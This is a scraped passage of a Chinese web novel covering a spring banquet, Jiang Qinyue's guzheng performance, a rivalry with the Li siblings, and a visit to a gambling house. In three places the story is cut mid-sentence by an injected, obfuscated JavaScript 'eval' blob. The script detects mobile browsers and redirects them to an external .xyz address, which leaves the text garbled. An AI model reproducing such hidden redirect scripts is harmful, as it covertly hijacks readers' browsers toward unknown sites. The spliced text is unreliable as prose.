江沁月心一横眼一闭,撑着穆衍的胸口打算从他身上挪下去,不料刚一动便感受到一股神秘力量牵制住了她的动作。 低头一看,原来是衣带被自己送给穆衍那香囊的镂金纹饰给勾住了。 手忙脚乱地总算是解开了被勾住的衣带,江沁月长舒一口气。 她冲穆衍尴尬地笑了笑:“看来这个香囊很有安全隐患啊哈哈哈……殿下以后可别再戴了……” “这香囊的设计有如此巧思,我也喜欢得紧,从此不戴岂不是辜负了你的心意?” 穆衍说着转了转手中的香囊,内部中心处的香盂果然纹丝不动。 “原来这香囊是江姑娘送给殿下的吗?真是精巧别致。”一旁的李娴出声夸赞道,江沁月听着却觉得这话里有话。 等等,她好像忘了一件很重要的事。 何以致叩叩?香囊系肘后。 女子送男子香囊,是表达爱慕之情的意思…… “殿下仁厚,将书坊无偿借给我使用,我心中感激。之前得知殿下素爱用香,便特意寻来这么个玲珑玩意儿作为谢礼。” 江沁月赶紧解释,尽力将这香囊说得云淡风轻一些。 穆衍垂眸不语,只轻轻摩挲着腰间佩着的香囊。 就如此急于撇清他们之间的关系吗? 这一跤属实摔得不轻,不过好在没伤到筋骨,江沁月在地上坐了好一会儿,总算是缓了过来。 穆衍和李娴一左一右搀扶着她这个伤员回到船舱,在舱房的雕花窗边寻了个位置坐下。 画舫回程很快,李娴有一搭没一搭地与她闲聊,穆衍则一言不发,不知在想些什么。 将要靠岸时江沁月的膝盖已经不痛了,她眼神在这看起来本该颇为登对的二人间转了几转,无奈仰天长叹—— 这一跤应该还是白摔了。 …… 几人从画舫下来后,便准备一道前往设宴之处,却见不远处衣着艳丽的一男一女正朝他们走来。 “让二妹早些出门传个信儿,结果就再也不见了踪影,叫我好生担心,原来是已经和襄王殿下混到一处去了。” “二妹的心思未免太活络了些,就算阿妍不喜这桩婚事,那也轮不到你头上。” 二人的长相与李娴有几分相似,却神情倨傲,阴阳怪气,一看就不好相与。 想必这就是李岱与李妍兄妹俩了。 “大哥,长姐,你们来了。”李娴敛眉低目,向二人微微行了一礼。 二人没理她,只先向穆衍敷衍地行了礼:“见过襄王殿下。” 老爹都被贬了多少年了,这俩人依旧鼻孔朝天,一副谁也不放在眼里的样子。 江沁月心中暗暗吐槽。 “哟,看来你们挺玩得开啊,二妹再心急,也得注意一下影响吧。” 李岱一眼就看见了穆衍胸口那抹嫣红,虽然已经简单处理过,还是留下了浅淡的印记。 他终于瞥了李娴一眼:“莫不是想学你娘当年那般,扮个清水出芙蓉勾引殿下,想要飞上枝头变凤凰吧?” “有其母必有其女,勾栏做派,果然是贱婢教出来的好女儿。”李妍附和道。 这话说得未免也太难听,何况他们是血脉相连的姊妹? 江沁月之前打听过,李岱和李妍是李相正室所出,其他孩子都是姬妾所生。 而李娴的母亲之前是一名清倌儿,温婉动人,颇具才情,李相看上了她,替她赎身带回府中做了妾。 李娴不卑不亢道:“是长姐托我来传话的,与我娘何干?且纵然你们厌恶我,也不必给殿下泼脏水。” “是我让你去传话的,那也是我指使你去勾引殿下的吗?”李妍嗤笑一声,一步一步逼近李娴。 她抬手捏住李娴的下巴,指甲上鲜红的蔻丹很是刺目:“没听见哥哥说的吗?我不稀罕的婚事,也轮不到你!” “认清楚自己的身份,别痴心妄想,盼着有一天做了王妃能凌驾在我头上!” 说完她用力一掼,推得李娴踉跄几步。 欺人太甚! 江沁月本不想多惹是非,但实在是有点看不下去了,她一把将李娴拉到自己身后,上前一步道: “李大小姐好大的脾气,拦着别人攀高枝,可自己不也一心想做太子妃吗?只可惜如今是没这个机会了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247653|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江沁月在《东山起》中只写了李相想将女儿嫁进皇室,李妍喜欢穆灼这事,还是前不久八卦小能手林三告诉她的。 所以今日李妍是故意装病逃避相亲,却也不想放弃能见着穆灼的机会,便等到即将开宴时再来。 结果瞧着庶妹有心借机上位,她又不乐意了。 江沁月皮笑肉不笑地看着李妍,眼见她就要发作,结果李岱化身护妹狂魔先一步爆发。 “你是什么东西?这里有你说话的份吗?” 接着他又将矛头指向了穆衍:“殿下是在外征战太久还是病了太久,连基本礼数也记不得了?今日虽算不得正式宫宴,也不该将这种不三不四的女人带来。” “看来是殿下对你太过宠幸,才让你在这种地方也敢随意撒野。”李岱上上下下地打量着她,眼神让人极为不适。 “倒也算是个清秀美人,殿下不如让给我玩玩?长兄如父,我也就做个主,将我这二妹许给殿下了。” “大哥!”李娴细细柔柔的声音也带上了几分怒意,试图喝止住他。 李岱哪里会理她,说着就要摸上江沁月的脸。 这人张嘴就是瞎造谣,闭嘴就是给人乱扣帽子,狺狺狂吠不似人言。 江沁月恶心得紧,正准备一招制敌攻其下盘,旁边却伸来一只手抓住了李岱的手腕。 是穆衍。 江沁月抬头看他,第一次在那一贯温和好看的脸上看见如此阴戾的神情。 他骨节分明的手指因用力而发白,只听“咔哒”一声,竟是将李岱的手腕生生捏得脱了臼。 “啊!!!”李岱吃痛惨叫一声,那只不安分的手软绵绵地垂了下去。 穆衍冷冷开口道:“本王身边的人,岂是你能染指的?” 李岱痛得冷汗涔涔说不出话来,江沁月有气绝不受着,开始了单方面的语言攻击。 “太子与太子妃前几日亲自邀我们赴宴共赏春光,可没说害了疯病的狗也能来啊,这四处乱咬伤着人了可怎么办?” “不三不四的女人?你有本事就将这话说到太子与太子妃跟前去。” “你或许不知我名号,也不知我与太子妃颇有些交情,但你一见我便妄加揣测口出狂言,是否太过无礼?” “李公子两耳不闻窗外事,圣贤书也读到狗肚子里了?” 这李岱压根不把穆衍放眼里,江沁月直接搬出了主角这座最大靠山。 “少在这里狐假虎威,你这个……啊!!!” 李岱恶狠狠地瞪着她,正要还嘴骂些什么,穆衍却一使劲将他的手腕接了回去,痛得他又是惨叫连连。 “算了哥哥,午宴要开始了,我们快过去吧,”李妍拉住他,又瞥了江沁月一眼,“这女的最近在京城里确实小有风头,看她能得意几天吧。” “二妹也快一起走吧,别在这里丢人现眼。” 江沁月担忧地看着李娴,后者朝她摇摇头,露出一个浅笑示意自己无事,便跟着兄姐一起走了。 穆衍幽潭般深邃的眼底似有墨云翻涌,他微微眯眼,目送那兄妹三人渐行渐远, 静默良久后,穆衍终于垂眸看向身侧与自己并肩而立的女孩。 她也正看向自己,眼神一如既往的清澈明亮,还隐含着关切,似乎并未被那些污言秽语影响分毫。 确定自己隐藏好所有情绪后,穆衍向她露出一个温和无害的笑容。 “抱歉,沁月。”他轻声道,“我们走吧。” 24. 杯停弦响露锋芒 “走?我们现在去哪?”江沁月以为穆衍是被气得准备打道回府了,“而且殿下为何要跟我说抱歉?” “去玉满堂赴宴。你若不想去的话,我们便直接回王府吧。”穆衍道,“抱歉让你今日遇到这种事,没能玩得尽兴。” 他眼中满是歉意,看起来很是在乎她的感受。 “当然要去!我还没见识过所谓的曲水流觞呢,”江沁月毫不犹豫道,“而且何必因为这种人影响心情?殿下也别再想了,恶人自有恶人磨。” 两人各有心事,一路上彼此无言。 “对了沁月,还有……”穆衍打破了平静,似乎想说什么,却又止住了话头。 “什么?” 默了片刻后,穆衍只笑了笑:“罢了,先不提了。” 江沁月点点头道声好,也不再多问。 赏春宴设在了玉满堂,院中种满了玉兰树,如今正赶上花期开得繁盛,恰应了赏春之意。 庭院中还开凿了一条曲折蜿蜒的溪渠,本是引山中清泉注满其间,今日特意将甘泉换成了美酒。 溪渠边上已次第摆好了几案,不时凋落的玉兰花瓣飘零而下,浓烈的酒香混合着清甜的玉兰花香,让人不饮也似醉了三分。 宫婢们往来其间为开宴做着最后准备,各家公子小姐们也已到了不少,衣香鬓影,好不热闹。 江沁月与穆衍随意找了两个挨着的席位入座,她四处张望了一下,却看见了一道意想不到的身影。 嘶……那是林三吧? 不同于往常花里胡哨的衣饰,今日他穿得挺正经,江沁月都有些不敢认。 他怎么会在这里? 像是感受到了她投射而来的视线,林三回头看到她时,眼底也闪过一瞬的意外之色,之后便恢复如常,还带上了几分散漫的戏谑。 他收起洒金折扇,懒懒地冲她挥挥手,还颇有闲情地朝她wink了一下,一双上挑的狐狸眼勾人得很。 “你认识他?”穆衍冷不丁开口问道,应该是瞧见了他二人的眉来眼去。 “啊?呃……算不上认识,之前他似乎来邀月轩吃过饭,我不太确定是不是他。” 江沁月本来正准备起身去林三那边,问问他到底什么情况,被穆衍一打岔,又只得坐了回去。 “他叫凌觉,是个纵情风月的风流公子,最好别和他有太多牵扯,”穆衍漫不经心道。 “林觉?”江沁月凑近穆衍,压低声音问道,“他是不是千乐坊林老板的三儿子?他也能来这里吗?” “林老板?江姑娘怕是认错人了,不是双木‘林’,是凌云壮志的‘凌’,”穆衍也压低了声音,耐心解释道,“他父亲是当今吏部尚书,可惜站错了队,现在在朝中可不太好过。” 原来如此,此凌非彼林。 虽然早就知道他对身份有所隐瞒,但江沁月还是有些生气。 见江沁月隔着老远怒气冲冲地瞪着自己,林三……不,凌觉伸出食指抵在唇上,无辜地眨眨眼,示意她千万要保密。 江沁月朝他翻了个白眼,暂时不再去想,总有秋后算账的时候。 穆灼和颜桃也到了,待诸位都入座后,各说了几句客套话,这赏春宴也总算是要正式开始。 “每次曲水流觞,都只是吟诗作赋,久而久之倒有些无趣了,”颜桃笑道,“今日本宫倒是有个新点子,诸位可想一试?” 众人自然说好。 “大体规则倒是不变,这酒杯随波逐流,停在谁面前,谁便饮尽此杯,然后再表演个才艺。” “才艺形式不限,吟诗作赋也好,琴棋书画也罢,大家都不必拘束,愿今日我们都能尽兴而归。” “若是实在觉得自己才疏学浅,可自罚一杯,邀请在场任意宾客与自己一同完成表演。” 颜桃解释了规则,这还是江沁月给她出的主意,美名其曰以此增加大家的互动性。 盛满佳酿的薄胎玉盏随波而下,还未漂出多远便停在了颜桃面前。 “既然如此,那本宫便先打个样,作画一幅吧。”颜桃笑着端起玉盏一饮而尽。 玉满堂庭院中央正好有一方水榭,宫婢们取来笔墨案几置于其上,颜桃走上水榭后略思忖片刻,寥寥几笔便完成了一幅写意的玉兰图。 第二次酒盏停在了李娴跟前,她向穆衍这边看了一眼,但最终还是自己作了首诗。 江沁月痛心疾首。 多好的机会啊!就这样被浪费了。 那李岱与李妍兄妹俩可真讨厌,自己眼高于顶看不上穆衍,还不准庶妹争取一下。 吃着碗里的看着锅里的,怎么这般护食呢? 流水潺潺,丝竹绵绵,游戏有条不紊地继续进行着,在座众人兴致颇高,表演才艺者也是十八般武艺齐上阵。 大家也不扭捏,大大方方地互相邀请,或是对诗,或是合奏,其乐融融。 玉盏飘飘荡荡地向江沁月这边而来,她的心都提起来几分。 别停下别停下!她只想安静地当个看客,切身感受一下曲水流觞这等风雅之事。 江沁月紧紧盯着那玉盏,见它晃悠悠地从自己跟前漂走,总算是松了口气。 结果那玉盏似是遇上了漩涡,在她与穆衍之间停了下来,不偏不倚,甚至不好说离谁更近一些。 江沁月刚放下一半的心又悬了起来,玉盏在水中兀自旋转,却不再前进分毫。 “这怎么算?”有人问道。 颜桃道:“既然不好判定,不如就请襄王殿下与江姑娘各饮一杯,再行表演?” “她表演?可别让在座诸位看笑话。”李岱哂笑一声。 他们这两位当事人还没发表意见,倒是有人急不可待先跳脚了。 李岱接着阴阳怪气道:“这位江姑娘是打算给我们讲个俗不可耐的话本故事么?这里不是茶楼饭馆,可别什么低俗的腌臜东西都拿出来卖弄。” 江沁月估计是李妍或者李娴给他介绍了一下自己的事,毕竟方才湖边遇见时他都不知道自己是谁。 这人多少有点毛病,逮着谁骂谁。 他多半是想报复穆衍,但大庭广众之下也不好对他太过出言不逊,于是就将怒火转移到了她身上。 颜桃闻言首先面露不悦:“阳春白雪,下里巴人,不知在李公子眼中何谓高雅,何谓低俗?” “一枝独秀不是春,百花齐放春满园,”江沁月悠悠开口,“就如这庭院中虽种满了玉兰,树下的野花野草也并未被宫人们全部清除。” 她说着随手摘下一朵不知名的小黄花轻轻放入水中,看它随着那些皎白的玉兰花瓣一起漂远。 李岱平时肯定也得罪了不少人,几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264286|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位不认识的官家小姐也纷纷出言奚落。 “大家都是肉体凡胎,谁不是俗世中人?在座的各位有不少都去过邀月轩听书,不需要李公子在这里妄下定论。” “李公子怕是不知道邀月轩每天下午都一座难求,不过如今你想听也没机会,江姑娘之前伤了嗓子便退居幕后了。” “哼,那就看看吧,江姑娘可不要贻笑大方。”眼瞧着自己就要成为众矢之的,李岱终于闭了嘴。 既来之,则安之,江沁月也不打没准备的仗。 她饮完杯中酒,起身走上了水榭。 “若是想听故事,那恐怕要让大家失望了,”江沁月笑道,“我也略通些乐理,今日便为大家带来一首家乡小调的筝曲吧。” 李岱嗤笑道:“靡靡之音,恐难登大雅之堂。” 江沁月懒得理他,向演奏的乐师们借了一架古筝,让宫人搬上了水榭。 戴好义甲后,她试着拨了几下弦,心也定了几分。 铮然弦响,气势磅礴。 家乡小调是骗鬼的,她弹的这一曲是《将军令》。 欲扬先抑嘛。 这首曲目极考验基本功,当初练习时被老师拎着耳朵骂,被老妈拿着藤条打,一番勤能补拙后已经形成了肌肉记忆。 此时此刻江沁月无比庆幸自己有这一技之长,在穿越时真是派上了大用场。 铿锵激昂的曲调,让人仿佛亲历沙场见到那金戈铁马,恢弘壮丽。 一曲毕,余音袅袅,满座宾客鸦雀无声。 “献丑了。”江沁月施施然行了一礼,步下水榭回到了自己的坐席。 她虽不想主动出风头,但真要上场那也不能丢了面子。 “这听起来可不像是地方小调,倒像是行军打仗的战曲。”穆衍道。 “殿下好灵的耳朵,此曲名为《将军令》,是我偶然习得。” 看来这个时代的古筝虽然和现代一样是二十一弦,曲目却不想现代那般多种多样。 穆灼也难得称赞道:“江姑娘虽为女子,却也将曲中的雄浑气势展现得淋漓尽致,真叫人耳目一新。” 太子都发话了,众人自是跟着叫好,但也总有人要唱反调。 “怕不是只会这么一首,拿来唬人罢了。”李岱不屑道,从方才起他的脸色便一直很难看。 颜桃神色不虞地看向他:“本宫虽不会弹筝,于琴艺倒也有些钻研,二者总有相通之处,这一看便知江姑娘基本功扎实。” 江沁月耸耸肩:“只会一首又如何?总之贻笑大方的另有其人就是了。” 李岱跟吃了火药似的一点就炸:“我管你是弹琴的还是说书的,总不过是低贱之身,敢在这和我叫板?” “勾上了襄王又跟太子妃攀上点关系,就不知天高地厚了?” “李岱!你休要放肆!”颜桃拍案起身,摆出几分威仪,“江姑娘是本宫的朋友,对她无礼,便是对本宫无礼。” 欺软怕硬的狗东西总算是噤了声。 江沁月不禁感慨,果然还是要抱紧主角的大腿,很靠谱,很安心。 “今日如此雅兴,别因他一人败了兴致,”穆衍淡然道,又另外倒了杯茶,“本王有病在身,便以茶代酒罚过。” “方才江姑娘一曲有破阵之势,本王便乘兴而起,舞剑一段吧。” 25. 飞短流长何足扰 穆衍自然不可能佩剑赴宴,便向行宫侍卫借了一柄。 他于水榭站定,拔剑出鞘,起势挽了个剑花。 今日穆衍一身宽袍大袖的常服,本不适合舞刀弄剑,但他的动作行云流水,繁复的衣袍并未成为累赘,反而中和了冷兵器带来的肃杀之意,为其增添了几分柔和美感,当真是赏心悦目。 长剑划破空气的凌厉风声也在诉说着,这不是真正的舞蹈。 江沁月远远观望,脑海中突然蹦出一个词——宝刀未老。 水榭上穆衍衣袂翩飞,仿佛振翅欲飞的白鹤。 透过那道身影,她好像看见了过去在战场上意气风发的少年将军。 只可惜,在书中她一笔带过,以后也不会再有机会见到。 每思及此,江沁月难免有些怅惋。 忽然,只见穆衍一个飞身翻出水榭,剑指李岱直向他刺去。 众人只来得及惊呼一声,而李岱本人则像是被这陡生的变故吓傻了,呆坐在座位上一动不动。 剑尖堪堪停在离他鼻尖只有半寸距离的地方,一片花瓣恰好落在了剑刃上,稳稳当当。 “仔细别让落花掉进了杯中,白白玷污了好酒。”穆衍声音温和,似乎还带着笑意。 他将剑平移至一边,轻轻翻转手腕,花瓣便落入满是玉液琼浆的溪渠,顺流而下。 是花弄脏了酒,还是酒玷污了花? 李岱僵硬地笑了一下:“……多谢殿下提醒。” 他方才看得清楚,穆衍眼中分明有着一闪而过的杀意。 穆衍神色自若地收剑入鞘,回到了席间。 李岱眼神阴鸷地看着江沁月与穆衍有说有笑——就为了这么个女人,敢给他这么大的难堪? 他们李家是数一数二的名门望族,祖上出过几任丞相,连皇帝也不敢太对他们怎么样。 纵然父亲一朝失势,也总有回来的一天。 而这襄王,荣华富贵也不知还能保几代,打了次胜仗便居功自傲。 若不是皇帝可怜他,留他在京中养病,这宴席间哪有他的位置? 等着瞧吧。 “看来是轮到我了,幸好今日随身带了一管玉箫,但箫声哀婉,与这春景不和……不如请江姑娘弹筝与我合奏一曲?” 突然被点名的江沁月看向说话者——原来是凌觉。 他这会儿的嗓音也不似在邀月轩那般总带着弯弯绕绕的尾调,整个人从头到脚就是一个端方的世家公子样。 怪不得邀月轩虽常有小姐夫人们来听书,他的马甲却一直捂得死死的。 江沁月指指自己又指指他,用眼神询问他到底想干嘛。 凌觉当然看得懂她的意思,但他答非所问:“就简单奏一曲《高山流水》吧,江姑娘可会此曲?” “……会,只是许久不曾弹过,恐惹凌公子笑话。”江沁月深吸一口气,尽量平和道,却仍有些咬牙切齿之意。 “无妨,江姑娘请。” 这一次江沁月与凌觉一同步上了水榭,凌觉趁机附在她耳边低声道:“午宴结束后晚些时候你回这来,我有话跟你讲。” 江沁月冷哼一声,算是答应了他。 《高山流水》一曲不难,箫声低沉,琴音清脆,二人的合奏也相得益彰。 穆衍指尖在杯沿合着乐声轻敲,半眯着眼望着水榭上合奏的二人。 不,其实他只在看弹琴的那个女孩。 …… 午宴结束后,宾客们有的打道回府,有的兴致颇高,便继续在行宫各处赏玩。 “沁月是想回去还是再四处逛逛?”穆衍征询着江沁月的意见。 这话正中江沁月下怀,她顺水推舟道:“早上我们只去了芳华殿和翠微湖,那就再四处逛逛吧。” 这偌大的行宫逛一天也逛不完,她只是想捱一会儿时间,找机会溜回玉满堂见凌觉。 估摸着时间差不多了,江沁月又开始了她的表演。 “糟了,我的手帕好像落在玉满堂了。”说着她在身上各处摸了摸,一无所获。 自然是不见了,因为她故意把手帕丢在了玉满堂。 “别急,我们一起回去找找。” 江沁月连忙道:“不必!殿下在前边凉亭等我吧,我自己去找就行,很快就回来!” 不给穆衍拒绝的机会,她话音刚落便步履匆匆地往玉满堂行去。 杯盘狼藉已被宫人们打扫干净,这会儿玉满堂的庭院中只余花香阵阵,流水潺潺。 “在下方才捡到一方手帕,不知可是姑娘遗落的?”凌觉抱臂倚在不远处的花树下,笑吟吟地看着她。 果然是人前人后两副面孔,这会儿又变成江沁月熟悉的吊儿郎当的样子了。 江沁月一把夺回自己的手帕,没好气道:“笑什么笑?赶紧给我个解释,凌、公、子!” “别生气了沁月,这事我确实不对,”凌觉道,“先正式自我介绍一下吧,我叫凌觉,字亦晓,家父是当今吏部尚书。” “所以你也体谅体谅我,要是我爹知道我在酒楼里说书,真能把我腿打断。” “其实他老人家估计已经知道了,但没闹到台面上来他也不好说什么,你可千万千万要替我保密啊。” “你随便编个假身份糊弄我们也就算了,借用别人的身份来唬我们,是不是太过分了?”江沁月质问道。 这才是她最气愤的点。 “冤枉啊沁月,我从来都没承认过我是千乐坊林老板的儿子。”凌觉狡辩道。 江沁月愤愤道:“知道我们认错了也不纠正,你这是恶意误导我们!” “我在家中也行三啊!我上头有两个姐姐,所以我说我是凌三也没毛病。” 强词夺理!江沁月摩拳擦掌跃跃欲试。 “好啦好啦,实在抱歉,不过你放心,真林三知道了也不会说什么的,”凌觉讨饶道,“我后面也会跟赵老板解释清楚的,当然我的真实身份肯定不能告诉她。” “你最好说话算话。” “那是自然,沁月你还信不过我吗?” 江沁月怒极反笑:“你觉得呢?” “别啊,你要是不把我当朋友了,我可是会伤心的。”凌觉委屈地拉了拉江沁月的袖子。 “就是把你当朋友才生气,以诚相待不是最基本的吗?”江沁月用力扯回自己的袖子,“你今天还坑我,干嘛又把我拉上去一起表演?” 听见她这话,凌觉稍微正经了几分:“这你就错怪我了,我是看李岱那厮说你故意卖弄,便让他知道你是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289385|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真本事的。” “那我要是没有怎么办?你就这么想当然?”江沁月见此人这般理直气壮,气不打一处来,伸手便要拧他胳膊。 凌觉早有防备地截住了她,笑眯眯道:“没有也无妨,有我给你撑腰,他不敢把你怎么样。” “你撑腰?他跟疯狗似的,逮谁咬谁。”江沁月怀疑地看着他。 “襄王殿下他都不放在眼里,何况你?你是不知道,早上在翠微湖边他就没事找事,无理取闹了一通。” “这也是我正要说的,李岱他定是把你当成襄王殿下的姬妾了,”凌觉面露无奈,“当然,一般人不会这样想,襄王殿下是出了名的洁身自好,大家基本上也都知道你写书印书的事……” “但是总而言之,你不再继续住在王府的话,那任何人也没法说什么了。” “不住在王府,难道搬去凌公子府上住吗?”身后一道冷冷的声音响起,竟是穆衍。 江沁月被吓了一跳:“殿下?!不是说好在那边等我吗?” “见你许久未归,担心你出事便寻了过来,”穆衍解释道,“而且是你自己急着跑了,我们可没说好。” 嘶……这话听着怎么有些幽怨? 也不知他是多久来的,眼前这个场景……在穆衍的视角看来,大概就是她与刚才在席间眉来眼去初相识的风流公子拉拉扯扯不清不楚幽会于无人之地…… 怎么听起来像是她被捉奸了一样? 江沁月用力摇摇头,将脑子里乱七八糟的想法甩了出去。 凌觉咳嗽一声,又恢复了翩翩凌公子的人设:“见过襄王殿下,在下只是捡到了江姑娘的手帕,想要物归原主罢了。” 穆衍盯着他仍抓着江沁月手腕的那只手,冷笑道:“只是还个手帕,便这样动手动脚,凌公子真是风流成性。也怪不得,李岱的话只有你能听进去了。” “殿下误会了,在下是好心提醒江姑娘,流言蜚语也总会带来困扰。”凌觉放开了手。 “江姑娘听我一言,便羞愤交加作势要打我,可见殿下也要为姑娘家的名声着想不是?在下斗胆说一句,江姑娘搬出王府,对你们双方都好。” 什么羞愤交加?简直是胡说八道! 江沁月知道凌觉是为她好,不说回邀月轩继续住在昭兰姐那里,她如今也是小有存款,靠自己在京城寻一隅安身之地也不是难事。 但是远离了穆衍就远离了任务,这绝对不行! 不等穆衍发话,江沁月抢道:“身正不怕影子斜!什么流言蜚语的,当耳边风就行了。清者自清,若是为此避讳,反倒显得是我心虚。” 这话她是看着穆衍说的,眼神坚定目光炯炯,誓要表现自己任尔东西南北风的决心。 接着她扭头瞪了凌觉一眼,用口型无声斥道:“闭嘴!” 穆衍轻笑一声:“管他什么流言蜚语,依本王看,谁乱说就割了谁的舌头,谁瞎打听就割了谁的耳朵。” “又或是换个方式,割了听信者的舌头,让他再开不了口接着传谣;割了传谣者的耳朵,让他再也听不见任何谣言。” 他语气随和,仿佛只是在探讨今晚要吃什么菜,却一步步逼近,漆黑如墨的眼眸中毫无笑意。 “凌觉,你觉得哪种方式更好?” 26. 千金销魂见真章 “那自然是当个健全人更好,殿下可真会说笑……”凌觉讪讪道,识趣地闭嘴结束了这个话题。 他当然知道穆衍不可能真的割了他的舌头耳朵,但凌觉还是心有余悸。 这襄王殿下的性子一向最是温和,自己也没得罪他啊? 见眼前二人之间隐隐有剑拔弩张之势,江沁月深感此地不宜久留。 她赶紧对穆衍道:“殿下,既然已经找回了手帕,我们就先走吧。” 午后日光正盛,晒得人恹恹的。 江沁月与穆衍一路无话,沉默地行至了宫门外,又沉默地各自上了马车。 于礼而言,她与穆衍共乘一辆马车自然是不合适的,所以自江沁月来到王府后,穆衍便专门拨了一辆马车给她使用。 江沁月有些心烦意乱,撩开车帘正想看看风景,却发现这似乎并不是回王府的路。 ……这是要把她驱逐出境了吗? 她求助似的看向身边的云霞:“那个……这路好像不太对吧?我们要去哪?” “殿下说今日赏春宴被人败了兴致,所以趁时间还早,带姑娘去个有意思的地方。”云霞道。 “……什么地方?” “到了就知道了,为了方便,请江姑娘换身衣服吧。”云霞说着从旁边拿出一套男装。 明明瞅着穆衍的情绪应该不太好啊,怎么还有心思去别的地方玩? 还故弄玄虚要她扮男装,难不成是要去逛青楼? 纵然满腹狐疑,江沁月也只能接过衣服麻利地换上。 识时务者为俊杰,不管要去哪里,料想自己应是没有拒绝的权利了。 见她换好了衣服,美妆小能手云霞又帮她大致改了一下妆容发型,让她看起来更显几分英气。 马车停在了一条僻静的小巷中,江沁月跳下马车,发现穆衍也换了身更为稀松平常的衣服。 “为免多生事端,剩下的路我们步行去。”穆衍解释了一句,便示意她跟上。 这么神秘吗?到底是要去什么地方? 她的疑问很快就得到了解答,七弯八拐了一阵后,他们抵达了目的地。 江沁月仰头看向大门牌匾上龙飞凤舞的三个漆金大字—— 千乐坊。 “殿下,来赌坊其实没必要换衣服吧?”江沁月低声道,“我还以为要去什么水深火热之地呢……” 穆衍闻言勾唇一笑:“进去看看你就知道了。” 拾阶而入,朱红的门扉像是一张血盆大口,将他们吞噬进了这个充斥着金钱与欲望的深渊之地。 “哇——”一进门江沁月便小小地惊叹了一下这里的金碧辉煌。 不是她没见识,要知道邀月轩在京城里也是数一数二的豪华大酒楼了,而千乐坊内部装潢的华丽程度更是有过之无不及。 头顶天花板的壁画上嵌着无数宝石,脚底是柔软的狐皮地毯,悬挂垂坠的纱幔上都以金线刺绣花纹,当真是奢靡至极。 周围大大小小的赌桌上,有掷骰子比大小的,有推牌九、打叶子牌的。 仔细一瞧,那些赌具也不一般,骰子是翡翠和红玛瑙做的,骨牌看上去像是由象牙制成。 赌徒们几家欢喜几家愁,赢的人笑容满面,输的人也勉力维持着表面风度。 毕竟能来这里玩的都是有些身份家底的人,总不会闹得太难看。 千乐坊里没有窗户,只有无穷无尽的灯烛长明不灭,叫人忘却了黑夜白天。 室内熏香所用的香料名贵,还掺了些薄荷、龙脑之类的来提神,使得空气中飘散的浓郁清香不会令人头晕脑涨,反倒是神清气爽精神百倍。 “二位公子要玩些什么?”小二笑着迎了上来。 江沁月闻言拉着穆衍转过身,背对小二低声道:“殿下,我今日没带多少钱,要不算了吧?” 小二见他二人窃窃私语不答话,便滔滔不绝地介绍推销起来。 “……楼上有提供免费的餐饮,也有厢房可以休息。” 说到这,小二压低了声音神秘一笑,“瞧见每一桌上的美人了吗?若是能成为最后的赢家,便有机会能与她们——共赴巫山。” 江沁月算是明白为什么千乐坊能成为京城第一销金窟了。 不仅有美女荷官在线发牌,还将赌坊青楼二合一——黄.赌.毒三样占了两样。 这“有机会”三字也是用得巧妙,背后的水只怕是深得很。 “不必了,我们是来找你家三公子的,他在哪?”穆衍直截了当地问道。 小二为难道:“这……三公子在楼上陪贵客游戏,现下恐怕不方便见客……” 这也忒不会说话了,楼上的是贵客,那他们是贱人不成? 小二也立马反应过来自己的失言,连忙找补道:“不知公子身份名姓?小的上去通报时也好交代些……公子既是三公子的友人,定然知晓他玩起来时是最不耐烦被打扰的。” “友人算不上,”穆衍只拿出几片金叶子扔进他手里,“让他下来见我,他不会责罚于你的。” 要不说有钱能使鬼推磨呢,那小二接过金叶子小心翼翼地收好,乐呵呵地就上楼去了。 “殿下真是挥金如土。”江沁月幽幽感叹。 穆衍道:“千乐坊的人,给少了他们看不上。” 二人没聊几句,小二便引着一位锦衣青年下楼来,他五官算得上端正,神情看起来有几分不耐。 “三公子,就是这二位了。”小二腆着笑脸,观察着自家主子的神情。 青年的视线扫过江沁月,定睛看清穆衍的一瞬间,他脸上的不耐烦顿时烟消云散。 “殿……二位楼上请,有什么事我们慢慢聊。”他换上一副热切的笑脸,转身时又对小二使了个眼色。 小二心领神会,忐忑的一颗心也总算是放了下来。 与楼下的吵嚷相比,楼上人少又安静,青年领着他们进了一间包厢,里面的装修也是同样的奢靡。 江沁月和穆衍与那青年相对而坐,他拍拍手,两位美人便走了进来。 她们一人一边跪坐于江沁月和穆衍身侧,为他们斟茶。 “曼珠和兰梦,我们千乐坊中拔尖儿的美人。”青年介绍道。 身侧名为曼珠的红衫美人斟茶时,几乎贴在了江沁月身上,她被吓得连忙往穆衍那边挪了挪。 虽然她也是女的,但现在穿的是男装啊!穆衍带她来这就是为了这种事吗? 